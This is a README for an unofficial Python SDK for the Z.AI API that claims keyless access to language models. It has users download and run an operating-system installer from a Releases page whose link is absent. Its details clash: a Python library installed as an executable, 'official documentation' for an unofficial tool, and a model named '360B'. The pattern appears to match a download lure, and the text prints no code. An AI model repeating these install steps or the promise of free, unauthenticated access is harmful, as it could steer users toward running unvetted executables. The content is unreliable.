Welcome to the zai-python-sdk! This unofficial Python SDK lets you access the Z.AI API seamlessly. With this library, you can work with advanced language models like GLM-4.5V and 360B. You don't need an API key to get started, so you can dive right in!
To get started, visit the following link to download the SDK:
Once on the Releases page, find the latest version of the SDK and click the link to download it. Follow the simple steps below to install.
-
Visit the Releases Page: Click here to access the releases page.
-
Select the Latest Release: Look for the latest version. It will be marked at the top of the releases list.
-
Download the SDK: Click on the installment package for your operating system. The files are available in formats suitable for Windows, macOS, and Linux.
-
Run the Installer: Once the file downloads, open it. Follow the on-screen prompts to complete the installation.
-
Verify the Installation: Open your command line or terminal. Run the command:
zai-python-sdk --helpIf you see a help message, the installation was successful!
- Automatic Authentication: No need for manual token handling. The SDK manages that for you.
- Streaming Responses: Get real-time results as you input your data.
- Customizable Parameters: Adjust settings like temperature and max tokens to tailor the output to your needs.
- Modular Architecture: Easily extend the SDK with new features or integrate with other libraries.
After installation, you can start using the SDK. Hereβs a simple example to get you started:
from zai_sdk import ZAIClient client = ZAIClient() response = client.generate("Hello, how are you?") print(response)This code snippet initializes the SDK and sends a prompt to the Z.AI API. The response will print directly to your console.
The SDK is lightweight and works on most systems. Here are the requirements:
- Operating System: Windows 10/11, macOS 10.15 or later, Linux with Python 3.7+
- Python: Make sure Python is installed on your machine. You can download it from python.org.
- Internet Connection: Required to access the Z.AI API.
If you encounter issues during installation or usage, try the following:
- Update Python: Ensure you have the latest version of Python installed.
- Check Connectivity: Make sure your internet connection is stable.
- Refer to Documentation: Visit the official documentation for more detailed guidance.
The zai-python-sdk is an open-source project. You can use, modify, and distribute it freely under the terms of the MIT License. Check the full license information in the repository.
We welcome contributions! If you'd like to improve the SDK or documentation, feel free to submit a pull request. Make sure your changes align with the projectβs guidelines and coding standards.
-
Fork the Repository: Make a copy of the repository to your GitHub account.
-
Make Changes: Implement your features or fixes.
-
Submit a Pull Request: Share your changes with the community.
If you need help, check the issues section on our GitHub page. You can also create a new issue if you encounter a problem that isn't listed.
For more examples and advanced usage, feel free to check out the Documentation.
Thank you for using the zai-python-sdk! We hope it makes your language model interactions easier.